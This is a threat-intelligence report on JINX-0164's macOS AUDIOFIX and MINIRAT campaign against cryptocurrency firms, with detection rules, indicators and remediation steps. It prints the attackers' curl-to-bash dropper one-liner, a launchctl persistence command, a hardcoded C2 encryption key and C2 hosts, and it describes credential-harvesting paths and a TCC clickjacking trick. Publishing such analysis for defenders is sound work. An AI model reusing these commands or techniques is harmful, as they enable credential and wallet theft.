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Threat reportAPTTL-2026-0607

JINX-0164 — Crypto-Targeting macOS AUDIOFIX RAT via LinkedIn Social Engineering and Internal CI/CD Hijacking (Wiz CIRT)

criticalACTIVE

Wiz CIRT and Wiz Research disclosed JINX-0164 on 2026-05-27 — a financially motivated threat cluster active since mid-2025 that targets cryptocurrency organizations with LinkedIn recruiter lures, the custom macOS Python RAT AUDIOFIX (delivered via a ClickFix one-liner from fake teleconferencing/driver domains), and automated GitHub Actions secret theft via nord-stream.

Key facts

IdentifiersTL-2026-0607
Also known asJINX-0164, Wiz JINX-0164, AUDIOFIX campaign, Velora npm supply-chain compromise
SeverityCRITICAL
Affected productsApple macOS; Velora (npm) @velora-dex/sdk; GitHub GitHub Actions (CI/CD secrets); Microsoft Azure DevOps Pipelines (variables/secrets); Wallet developers 51 cryptocurrency browser-extension wallets (MetaMask, Phantom, Coinbase Wallet, Binance Chain, Rabby, Trust, etc.); Wallet developers 2 desktop cryptocurrency wallet applications
Weaknesses (CWE)CWE-506, CWE-829, CWE-494, CWE-522, CWE-732, CWE-1188
AttributionJINX-0164 (medium confidence)
Nation-state nexusNorth Korea
MalwareAUDIOFIX, miniRAT
ToolsCustom Python AES-256-CBC + Dropbox API, nord-stream
MITRE ATT&CK techniquesT1005 Data from Local System, T1020 Automated Exfiltration, T1027 Obfuscated Files or Information, T1036 Masquerading, T1041 Exfiltration Over C2 Channel, T1056 Input Capture, T1059 Command and Scripting Interpreter, T1070 Indicator Removal, T1071 Application Layer Protocol, T1080 Taint Shared Content, T1082 System Information Discovery, T1083 File and Directory Discovery and 29 more in the attack flow
MotivationFINANCIAL
Target sectorscryptocurrency, blockchain, financial-services, fintech, software-development, defi
Target regionsGlobal, North America, Europe, Asia
Detection rules9 (1 shown free)
Sources10 cited sources

Detection coverage

As of 2026-05-27, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0607 across Splunk SPL, Microsoft KQL and Sigma, covering 68 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: JINX-0164 AUDIOFIX LaunchAgent Persistence + High-Fidelity Host Artifacts — Post-Exploitation

Detects JINX-0164 AUDIOFIX post-exploitation persistence on macOS endpoints: LaunchAgent plist creation under ~/Library/LaunchAgents masquerading as Microsoft Teams / Aircall / Dialpad / Apple Terminal helpers, coupled with high-fidelity host artifacts (~/.zsh_cache XOR-0xAB encoded stolen password, /audio.lock PID file, /clip, /tokens.txt, ~/Library/Application Support/Google/ChromeUpdater PyInstaller drop). Targets file_event sourcetypes from Jamf Protect / osquery file_events / CrowdStrike Falcon. T1543.001 (Launch Agent) + T1036.005 (Match Legitimate Name) + T1056.002 (GUI Input Capture).

  • Languages: Splunk SPL, Microsoft KQL, Sigma
  • ATT&CK: T1543.001, T1036.005, T1056.002, T1115, T1547.001
  • Data sources: jamf_protect, crowdstrike_falcon, osquery_file_events, microsoft_defender_endpoint, sysmon_macos
  • Severity: critical
  • Confidence: high

Splunk SPL

index=edr (sourcetype="jamf:protect:eventstream" OR sourcetype="crowdstrike:falcon:filesystem" OR sourcetype="osquery:results:file_events") host_platform=darwin earliest=-7d
| where match(target_file, "(?i)/Library/LaunchAgents/(com\.microsoft\.teams\.coreaudiod|io\.aircall\.workspace\.helper|com\.electron\.dialpad\.helper|com\.apple\.Terminal\.profiler)\.plist$") OR match(target_file, "(?i)/Library/Application Support/Google/ChromeUpdater$") OR match(target_file, "(?i)/\.zsh_cache$|/audio\.lock$|/tokens\.txt$|/helper\.log$|/clip$")
| eval artifact_category=case(
    match(target_file, "/LaunchAgents/"), "persistence_launchagent",
    match(target_file, "/ChromeUpdater$"), "pyinstaller_payload",
    match(target_file, "/\.zsh_cache$"), "xor_encoded_stolen_password",
    match(target_file, "/audio\.lock$|/tokens\.txt$|/clip$|/helper\.log$"), "audiofix_runtime_artifact",
    true(), "other")
| eval risk_score=case(artifact_category=="xor_encoded_stolen_password", 99, artifact_category=="persistence_launchagent", 95, true(), 85)
| stats values(artifact_category) as artifacts values(target_file) as files values(process_name) as creating_proc count by host, user_name, _time
| where mvcount(artifacts) >= 1
| eval threat_score=if(mvcount(artifacts)>=2, risk_score+5, risk_score)
| sort - threat_score

Microsoft KQL

// JINX-0164 AUDIOFIX LaunchAgent persistence + high-fidelity host artifacts on macOS
DeviceFileEvents
| where Timestamp > ago(7d)
| where DeviceType =~ "Mac"
| where (FolderPath matches regex @"(?i)/Library/LaunchAgents/(com\.microsoft\.teams\.coreaudiod|io\.aircall\.workspace\.helper|com\.electron\.dialpad\.helper|com\.apple\.Terminal\.profiler)\.plist$")
   or (FolderPath matches regex @"(?i)/Library/Application Support/Google/ChromeUpdater$")
   or (FileName in~ (".zsh_cache", "audio.lock", "tokens.txt", "helper.log", "clip"))
| extend ArtifactCategory = case(
    FolderPath has "/LaunchAgents/", "persistence_launchagent",
    FolderPath has "ChromeUpdater", "pyinstaller_payload",
    FileName == ".zsh_cache", "xor_encoded_stolen_password",
    "audiofix_runtime_artifact")
| summarize Artifacts=make_set(ArtifactCategory), Files=make_set(FolderPath), CreatingProc=make_set(InitiatingProcessFileName), FirstSeen=min(Timestamp), LastSeen=max(Timestamp), Count=count() by DeviceName, InitiatingProcessAccountName
| where array_length(Artifacts) >= 1
| extend Threat="JINX-0164/AUDIOFIX"
| project FirstSeen, LastSeen, DeviceName, InitiatingProcessAccountName, Artifacts, Files, CreatingProc, Count, Threat

Sigma

title: JINX-0164 AUDIOFIX LaunchAgent Persistence and Host Artifacts
id: 8b1d3c2a-9f4e-4a7b-b0c3-1f5d6e9a8b42
status: experimental
description: Detects JINX-0164 AUDIOFIX macOS persistence via LaunchAgent plist (Teams/Aircall/Dialpad/Terminal masquerade) and high-fidelity host artifacts (.zsh_cache XOR-0xAB stolen password, audio.lock, /clip, /tokens.txt, ~/Library/Application Support/Google/ChromeUpdater PyInstaller drop).
references:
  - https://www.wiz.io/blog/threat-actors-target-crypto-orgs
author: Threadlinqs Team
date: 2026/05/27
tags:
  - attack.persistence
  - attack.defense_evasion
  - attack.collection
  - attack.t1543.001
  - attack.t1036.005
  - attack.t1056.002
logsource:
  product: macos
  category: file_event
detection:
  selection_launchagent:
    TargetFilename|contains:
      - '/Library/LaunchAgents/com.microsoft.teams.coreaudiod.plist'
      - '/Library/LaunchAgents/io.aircall.workspace.helper.plist'
      - '/Library/LaunchAgents/com.electron.dialpad.helper.plist'
      - '/Library/LaunchAgents/com.apple.Terminal.profiler.plist'
  selection_payload:
    TargetFilename|endswith: '/Library/Application Support/Google/ChromeUpdater'
  selection_artifacts:
    TargetFilename|endswith:
      - '/.zsh_cache'
      - '/audio.lock'
      - '/tokens.txt'
      - '/helper.log'
      - '/clip'
  condition: 1 of selection_*
falsepositives:
  - Legitimate Microsoft Teams / Aircall / Dialpad updaters create plists with similar (but not identical) bundle identifiers — verify exact Label string
  - Developer creating debug files named clip or tokens.txt in home directory (low likelihood given specific path combination)
level: high

Known false positives:

  • Legitimate Microsoft Teams / Aircall / Dialpad updaters create plists with similar bundle identifiers — verify exact Label string com.microsoft.teams.coreaudiod (note 'coreaudiod' suffix is the AUDIOFIX tell)
  • Developer debug files coincidentally named 'clip' or 'tokens.txt' under home directory — low likelihood combined with LaunchAgent indicator

Tuning notes: Tune by computing entropy/non-printable-byte ratio on .zsh_cache contents — AUDIOFIX uses XOR-0xAB so the file will fail printable-ASCII tests with high entropy. Suppress if Label/CFBundleIdentifier exactly matches signed Microsoft/Aircall/Dialpad bundle IDs (signed by Apple Developer ID team). Raise to critical when ANY two artifact categories co-occur on the same host within 1 hour.

8 more detection rules (Splunk SPL, Microsoft KQL, Sigma) · unlock with TL Creds. Sign up free to unlock the detection rules or query them with the Threadlinqs MCP server (Purple)
  • JINX-0164 AUDIOFIX C2 Network Beacon ([indicator], [indicator], [indicator]) — Exploitation/Stage-2 Callback · unlock with TL Creds
  • JINX-0164 AUDIOFIX launchctl Submit chrome.job/coreaudio.job + Broad Credential Harvest — Post-Exploitation · unlock with TL Creds
  • Trojanized @velora-dex/sdk@4.9.1 npm Package Install (Supply Chain) — C2/Lateral Movement Precursor · unlock with TL Creds
  • AUDIOFIX Hardcoded AES-256-CBC Key v59l2uwlow9s1ebuscgfg9k9r4voxkbs Memory Indicator — Exploitation/Execution · unlock with TL Creds
  • JINX-0164 osascript Finder Automation TCC Clickjack Pattern — Post-Exploitation/Defense Evasion · unlock with TL Creds
  • MINIRAT Go-Compiled Module alibaba.xyz/minirat + Public-IP Reconnaissance — C2/Lateral Movement · unlock with TL Creds
  • JINX-0164 AUDIOFIX ClickFix curl-bash Dropper from driver-* Lookalike Domains — Exploitation · unlock with TL Creds
  • JINX-0164 nord-stream GitHub Actions Secret Exfiltration Fingerprint — C2/Lateral Movement · unlock with TL Creds

Indicators of compromise

As of 2026-05-27, Threadlinqs Intelligence tracks 68 indicators of compromise for TL-2026-0607.

Sample indicators (3 of 68)

  • IP address: 208.115.220[.]17
  • Domain: datahub[.]ink
  • File hash: 0a8ab3d16b12d3a453ee5a3208fe04744ad54514ef8ea27bb8fe32679efad270

Defanged, TLP:CLEAR. Full set of 68 indicators: unlock with TL Creds.

68 indicators of compromise · unlock with TL Creds. Compare plans

Technical analysis

The actor laterally moves by injecting AUDIOFIX into internal Git repositories using developer impersonation, turning the victim's CI/CD pipeline into a propagation vector. JINX-0164 has trojanized the @velora-dex/sdk npm package (v4.9.1) and targets 51 crypto wallet extensions plus 2 desktop wallet apps; TTPs overlap with DPRK UNC1069/Sapphire Sleet but Wiz tracks the cluster as distinct.

## Overview

JINX-0164 is a financially motivated threat cluster, first publicly named by Wiz CIRT and Wiz Research on 2026-05-27, that has targeted the cryptocurrency industry since at least mid-2025. The actor pairs LinkedIn-driven social engineering with custom macOS malware (AUDIOFIX, MINIRAT), automated CI/CD secret theft via nord-stream, and internal source-repository poisoning to propagate malware across developer infrastructure. While JINX-0164's TTPs overlap with DPRK clusters UNC1069 and Sapphire Sleet (per Microsoft's April 2026 reporting), Wiz attributes the activity to a distinct cluster with no infrastructure overlap to publicly tracked North Korean groups — and assesses the motivation as financial rather than state-directed espionage. The actor has demonstrated supply-chain capability by trojanizing version 4.9.1 of the npm package @velora-dex/sdk on 2026-04-07 (a popular DEX aggregation SDK), and has stood up an extensive lookalike-domain infrastructure spoofing Microsoft Teams, Slack, Aircall, Dialpad, BitGet, and macOS driver-update portals.

## Initial Access — LinkedIn Recruiter Lure ("Contagious Interview" variant)

JINX-0164 operators run a recruitment-themed pretext consistent with the broader "Contagious Interview" pattern attributed to DPRK clusters. Initial contact is via LinkedIn, using either compromised legitimate accounts belonging to professionals in the crypto industry or fully fabricated profiles with established connections and relevant employment history (these synthetic profiles are deleted shortly after compromise and never re-enabled). The actor proposes a virtual meeting on Microsoft Teams, Slack, Aircall, or Dialpad and sends a calendar invite pointing at a lookalike domain (e.g., `teams.cam`, `teamicrosoft.com`, `bitget-meeting.com`, `slktest.live`). Inside the spoofed meeting flow, the victim is told there is a technical error and routed to a fake troubleshooting page (e.g., `learn.bitget-meeting[.]com/.../teams-audio-issue-mac`) instructing them to execute a one-liner such as:

`/bin/bash -c "$(curl -fsSL https://apple.driver-update.io/troubleshoot/mac/audio-issue-fix.sh)"`

This "ClickFix"-style social-engineering primitive bypasses macOS Gatekeeper by relying on the victim to invoke `bash` directly against a remote URL.

## Stage 1 — Architecture-Aware Dropper Script

The remote bash script profiles the host via `uname` / `uname -m`, branches between Apple Silicon (arm64) and Intel (x86_64), and pulls the matching binary from a sibling URL on the same delivery domain (e.g., `https://apple.driver-store.com/mac/arm/driver/coreaudiod` vs `.../mac/intel/driver/coreaudiod`). The payload is saved to `~/Library/Application Support/Google/ChromeUpdater`, marked executable with `chmod +x`, and launched as `chrome.job` (or `coreaudio.job` in other variants) via `launchctl submit -l chrome.job -- "$DRIVER_PATH" --update`. Wiz identified four distinct dropper-script variants across three delivery domains; all four are macOS-only and exit silently on Linux/Windows. Known dropper hashes:

- `9c2ce925133a3bf5a924063bbef8df49918d5b7258695c1894cd18c75970157a` — fake audio-fix (apple.driver-store.com) - `402625ec79e3573a80b6de9b33fc1e503e3c7803603cd958ddd515fb0549007c` — fake audio-fix (apple.driver-update.io) - `b6cab0b3aa8e56e2427f486c74588d598ae58bb0cbc0eda6939fe171cb0aed17` — fake audio-fix (driver-updater.net) - `d4e863f9818bfb2f1dd932df6441dff204e6142c3bdb55b298cb08dc7b6a0c62` — fake Chrome-update (apple.driver-store.com) - `c6ef82d2864dfd26f117a1ef5602679153423f2742970a7949cec72722f0a01e` and `2a10ffe0367bb1b26ba2c3bc600892c21074725c0b8c9dc9161e6ceb33915460` — supply-chain delivery (89.36.224.5)

## Stage 2 — AUDIOFIX: Python 3.12 Infostealer + Backdoor

AUDIOFIX is a PyInstaller-compiled Python 3.12 binary (ARM64 + x86_64 variants) that masquerades on disk as the macOS system audio driver `coreaudiod`. On first launch it displays a native NSAlert dialog ("the fix has been completed") to placate the user, then establishes persistence by dropping a LaunchAgent under `~/Library/LaunchAgents/` with the `RunAtLoad` and `KeepAlive` flags set to true. Observed plist labels masquerade as legitimate communication apps: `com.microsoft.teams.coreaudiod.plist`, `io.aircall.workspace.helper.plist`, `com.electron.dialpad.helper.plist`.

### Credential Harvesting (broad-spectrum, fully automated)

AUDIOFIX launches dedicated routines that scrape:

- **macOS Keychain** contents (login.keychain-db) and shell-history files (`.zsh_history`, `.bash_history`). - **Browsers** — credentials, cookies, and session data across 10 browsers (Chrome, Edge, Firefox, Brave, Opera, Arc, Vivaldi, etc.). - **Cryptocurrency wallets** — 51 wallet browser extensions targeted (MetaMask, Phantom, Coinbase Wallet, Binance Chain Wallet, Trust, Rabby, etc.) plus 2 desktop wallet applications. The configuration enumerates extension IDs and pulls IndexedDB/LevelDB state. - **Developer credentials** — SSH keys (`~/.ssh/`), AWS credentials (`~/.aws/credentials`, `~/.aws/config`), GCP application-default credentials, Azure CLI tokens, Cloudflare API tokens, Kubernetes kubeconfigs, GitHub PATs (`~/.config/gh/`, `~/.netrc`, environment files), and miscellaneous dotfile-stored secrets. - **Communication apps** — Discord tokens (LevelDB), Slack cookies and local storage, Telegram `tdata` directory, local Signal database files. - **Clipboard monitor** — a background thread continuously logs clipboard contents with timestamps (specifically targeting copy-pasted wallet addresses, seed phrases, and passwords).

Collected data is POSTed to `/file/upload` on the C2 domain.

### Command and Control

AUDIOFIX has two known C2 channels:

1. **HTTPS variant (primary)** — AES-256-CBC encryption with three fallback C2 servers stored as encrypted blobs inside the binary. Hardcoded AES key `v59l2uwlow9s1ebuscgfg9k9r4voxkbs` (same key shared with MINIRAT). Two polling modes: normal (5-second interval) and stealth (randomized 10–30 minute intervals). C2 commands include arbitrary Python `exec()`, arbitrary shell commands, file download/upload, restart specific collection routines, and self-destruct. Hardcoded C2 domains: `datahub.ink` (primary, observed resolving to 208.115.220.17 and 185.175.59.85), `cloud-sync.online` (backup), `byte-io.us` (backup). 2. **Dropbox variant (earlier)** — uses hardcoded Dropbox API credentials and the `files_download` / `files_upload` / `files_list_folder` endpoints to fetch tasking and exfiltrate data. Limited backdoor functionality versus the HTTPS variant.

### Social-Engineering Auxiliary Modules

- **Password phishing**: a fake "System Update" NSAlert (built with AppKit/PyObjC) prompts for the user password. The malware validates the entered password using `sudo -k -S pwd`; on success, the cleartext is XOR-encoded (single-byte key `0xAB`) and written to `~/.zsh_cache` before exfiltration. The presence of `~/.zsh_cache` is a high-fidelity host indicator. - **TCC clickjacking**: AUDIOFIX overlays a transparent fake "Network latency detected" dialog on top of the legitimate macOS TCC permission prompt (triggered via `osascript -e` against Finder Automation). When the victim clicks OK to dismiss the fake warning, they actually click "Allow" on the hidden TCC dialog beneath, granting Full Disk Access. Curiously, this access is never used by the main codebase — its purpose may be to demonstrate the technique or set up follow-on tooling.

### Anti-Analysis

AUDIOFIX checks for debuggers (sysctl `kern.proc.pid` `P_TRACED` flag), virtualization (CPU brand-string and manufacturer-name inspection), and validates Apple code-signing on the host environment. If any check fails, the malware exits silently. A self-destruct command unloads the LaunchAgent, wipes persistence files, clears logs, purges server-side data, and deletes the binary.

## Stage 2b — MINIRAT (Supply-Chain Variant)

MINIRAT is a lightweight Go backdoor (Go module path `alibaba.xyz/minirat`, hence the name) used in the npm supply-chain branch of the operation. SHA-256 of the primary ARM64 sample: `0a8ab3d16b12d3a453ee5a3208fe04744ad54514ef8ea27bb8fe32679efad270`. MINIRAT reuses the same AES key (`v59l2uwlow9s1ebuscgfg9k9r4voxkbs`) and three C2 domains as AUDIOFIX, confirming a shared toolchain. On launch it collects hostname and username, queries `https://api.ipify.org` for the public IP, uses the Mac's hardware UUID as the persistent agent identifier, and sets persistence via a plist at `~/Library/LaunchAgents/` with label `com.apple.Terminal.profiler` (RunAtLoad + KeepAlive). Backdoor commands: shell execution, file upload, file download, tar+upload of arbitrary directories. No automated credential harvesting (unlike AUDIOFIX).

## Stage 3 — Cloud and Version-Control Credential Abuse

After harvesting GitHub Personal Access Tokens from the developer endpoint, JINX-0164 pivots into the victim organization's CI/CD pipelines. The operators run the open-source tool **nord-stream** to automatically enumerate GitHub Actions secrets and Azure DevOps pipeline variables, then exfiltrate them by injecting throwaway workflows. nord-stream's default artifacts are easily fingerprinted and constitute one of the highest-fidelity hunt opportunities for this activity:

- Branch: `dev_remote_ea5Eu/test/v1` - Committer name: `nord-stream` - Committer email: `nord-stream@localhost.com` - Commit messages: "Test deployment" and "Remove test deployment" - User agent: `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36` - GitHub workflow filename: `init_ZkITM.yaml` - Azure DevOps pipeline name: `Build_pipeline_58675`, repository: `TestDev_ea5Eu`, task: `Task fWQf8`

Cloud credentials harvested from the endpoint (AWS, GCP, Azure, Cloudflare) were observed in some sign-in attempts but the actor showed no interest in cloud enumeration or pivoting — consistent with the financial-monetization focus.

## Stage 4 — Internal Source-Repository Poisoning (Lateral Movement)

The defining innovation of JINX-0164's intrusions is the use of the victim organization's own Git repositories as a worm-like propagation vector. Using the harvested GitHub credentials, the actor commits AUDIOFIX directly into internal repositories so that other developers who pull and build are infected. Three deceptive Git tactics are used:

1. **Developer impersonation** — `committer.name` and `committer.email` are forged to impersonate other developers. Because the commit is unsigned (or signed with the attacker's key under another developer's name), it carries an "Unverified" badge on GitHub but appears authored by a trusted colleague. 2. **Direct-to-main commits** — in repositories without branch protection, the malicious commit is pushed straight to `main`. 3. **Branch hijacking** — in protected-main scenarios, the payload is inserted into an existing feature branch and waits for the legitimate developer to merge it.

The infection then propagates whenever other engineers clone, pull, or build. Wiz's customer detected the spread using GitHub Vigilant Mode (which flags the unverified badge alongside a historical GPG-key/author-name mismatch) and confirmed via GitHub audit logs that the `git push` originated from the initially compromised endpoint.

## Stage 5 — Cryptocurrency Theft and Supply-Chain Operations …

MITRE ATT&CK techniques by tactic:

Collection

T1005 Data from Local System; T1115 Clipboard Data; T1560 Archive Collected Data

Exfiltration

T1020 Automated Exfiltration; T1041 Exfiltration Over C2 Channel; T1567 Exfiltration Over Web Service

Defense Evasion

T1027 Obfuscated Files or Information; T1036 Masquerading; T1070 Indicator Removal; T1497 Virtualization/Sandbox Evasion; T1622 Debugger Evasion

Credential Access

T1056 Input Capture; T1528 Steal Application Access Token; T1539 Steal Web Session Cookie; T1552 Unsecured Credentials; T1555 Credentials from Password Stores

Execution

T1059 Command and Scripting Interpreter; T1204 User Execution

Command and Control

T1071 Application Layer Protocol; T1102 Web Service; T1105 Ingress Tool Transfer; T1573 Encrypted Channel

Lateral Movement

T1080 Taint Shared Content; T1550 Use Alternate Authentication Material

Discovery

T1082 System Information Discovery; T1083 File and Directory Discovery; T1526 Cloud Service Discovery

command-and-control

T1090 Proxy

Initial Access

T1195 Supply Chain Compromise; T1199 Trusted Relationship; T1566 Phishing

Persistence

T1543 Create or Modify System Process

Privilege Escalation

T1548 Abuse Elevation Control Mechanism

Resource Development

T1583 Acquire Infrastructure; T1585 Establish Accounts; T1586 Compromise Accounts; T1587 Develop Capabilities; T1588 Obtain Capabilities

Reconnaissance

T1589 Gather Victim Identity Information; T1593 Search Open Websites/Domains

Impact

T1657 Financial Theft

Remediation

Patches

  • No vendor patch — this is a social-engineering + supply-chain campaign, not a software vulnerability
  • Upgrade @velora-dex/sdk away from compromised v4.9.1 to a known-clean version (per Velora maintainers and StepSecurity advisory)

Immediate actions

  • Block C2 domains datahub.ink, cloud-sync.online, byte-io.us at DNS / egress proxy / EDR
  • Block resolved C2 IPs 208.115.220.17, 185.175.59.85, 89.36.224.5 at perimeter firewall
  • Hunt macOS endpoints for ~/.zsh_cache (XOR-0xAB stolen password), /audio.lock, /helper.log, /clip, /tokens.txt, and AUDIOFIX LaunchAgent plists (com.microsoft.teams.coreaudiod.plist, io.aircall.workspace.helper.plist, com.electron.dialpad.helper.plist)
  • Hunt GitHub audit logs and CI/CD logs for nord-stream fingerprints: branch dev_remote_ea5Eu/test/v1, committer nord-stream@localhost.com, workflow init_ZkITM.yaml, pipeline Build_pipeline_58675, commit messages 'Test deployment' / 'Remove test deployment'
  • Audit @velora-dex/sdk usage — ensure no developer machine has installed v4.9.1; pin to a clean known-good version
  • Force-rotate all GitHub PATs, AWS/GCP/Azure/Cloudflare keys, and SSH keys on macOS developer endpoints with any indicator of compromise
  • Block sign-ins from Astrill VPN, Mullvad VPN, and ExpressVPN exit-node IP ranges against source-control (GitHub) and CI/CD platforms for developer accounts

Workarounds

  • Block execution of unsigned binaries on macOS via Gatekeeper hardening (spctl --master-enable) and Endpoint Security framework allow-listing
  • Disable LaunchAgent creation in user space by non-admin tooling via MDM configuration profile
  • Block outbound HTTPS to commercial VPN provider ASNs (Astrill/Mullvad/ExpressVPN) from corporate networks; require sanctioned VPN only

Longer-term hardening

  • Deploy macOS EDR (Jamf Protect, SentinelOne, CrowdStrike Falcon for Mac) with detection for LaunchAgent persistence in ~/Library/LaunchAgents, osascript-driven TCC prompts, and clipboard-monitoring background threads
  • Enforce branch protection + required signed commits on every internal repository; enable GitHub Vigilant Mode org-wide to surface unverified commits
  • Require hardware-bound SSH keys (Secure Enclave) and FIDO2 MFA for git push to internal repositories
  • Move from long-lived GitHub PATs and cloud access keys to short-lived OIDC tokens and IAM Identity Center / Workload Identity Federation
  • Implement a CI/CD secret scoping policy: GitHub Actions secrets should be environment-scoped with required reviewers, not repository-wide
  • Run periodic GitHub audit-log review for committer/author email mismatch and unverified commits to protected branches
  • Developer-targeted security training: recruiter-lure recognition, ban on executing 'curl | bash' instructions from third-party support pages

Affected and fixed versions

  • Apple — macOS
    Vulnerable versions: macOS 13 Ventura; macOS 14 Sonoma; macOS 15 Sequoia
  • Velora (npm) — @velora-dex/sdk
    Vulnerable versions: 4.9.1
    Fixed in: any non-4.9.1 release post-2026-04-07
  • GitHub — GitHub Actions (CI/CD secrets)
    Vulnerable versions: all
  • Microsoft — Azure DevOps Pipelines (variables/secrets)
    Vulnerable versions: all
  • Wallet developers — 51 cryptocurrency browser-extension wallets (MetaMask, Phantom, Coinbase Wallet, Binance Chain, Rabby, Trust, etc.)
    Vulnerable versions: all browser-extension installs on infected macOS hosts
  • Wallet developers — 2 desktop cryptocurrency wallet applications
    Vulnerable versions: all on infected macOS hosts

Timeline

  • JINX-0164 cluster assessed by Wiz as active since at least mid-2025; recruiter-themed LinkedIn lure pattern established.
  • Reddit r/CyberSecurityAdvice post documents victim approached on LinkedIn by purported BitGet recruiter; ClickFix lure via locked-ioc-22 pushes AUDIOFIX via curl|bash one-liner.
  • JINX-0164 publishes trojanized @velora-dex/sdk v4.9.1 to npm; malicious dist/index.js base64-decodes to nohup bash curl from locked-ioc-44 delivering MINIRAT. GitHub source repo not modified — attacker held only npm credentials.
  • StepSecurity publishes initial advisory on the @velora-dex/sdk npm compromise documenting launchctl persistence and macOS backdoor delivery.
  • iru.com publishes technical analysis of MINIRAT Go backdoor (alibaba.xyz/minirat module path).
  • Microsoft Threat Intelligence publishes Sapphire Sleet macOS intrusion analysis — later used by Wiz as TTP comparison baseline; no infrastructure overlap with JINX-0164 identified.
  • Landmark early-2026 intrusion (Wiz CIRT case study) — two-week attack chain from LinkedIn outreach to internal repo poisoning; AUDIOFIX HTTPS variant deployed via locked-ioc-23; nord-stream used to exfiltrate GitHub Actions secrets.
  • Modified MINIRAT sample uploaded to VirusTotal, indicating continued operational use beyond the npm supply-chain campaign.
  • Threadlinqs Intelligence Platform ingests Wiz JINX-0164 disclosure as TL-2026-0607; cross-referenced against prior DPRK-adjacent threats TL-2026-0567 (Cython InvisibleFerret), TL-2026-0464 (Lazarus git hooks), TL-2026-0579 (Lazarus RemotePE).
  • Wiz CIRT and Wiz Research publish 'Commit to Compromise' blog naming JINX-0164, attributing it as financially motivated, releasing IOCs (8 malware hashes, 30+ domains, 8 IP addresses), and assessing TTP overlap with UNC1069/Sapphire Sleet without confirming attribution.
  • As of 2026-05-29, JINX-0164 remains an active, financially-motivated crypto-targeting cluster — Wiz disclosed it only days earlier (2026-05-27), corroborated by THN/Infosecurity, with no takedown, sinkhole, or arrest reported and AUDIOFIX/MINIRAT C2 still live. Only the @velora-dex/sdk npm vector was remediated; the actor, tooling, and recruiter-lure campaign continue.

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Drafted by the Threadlinqs research pipeline from 10 sources; published ; last updated —.

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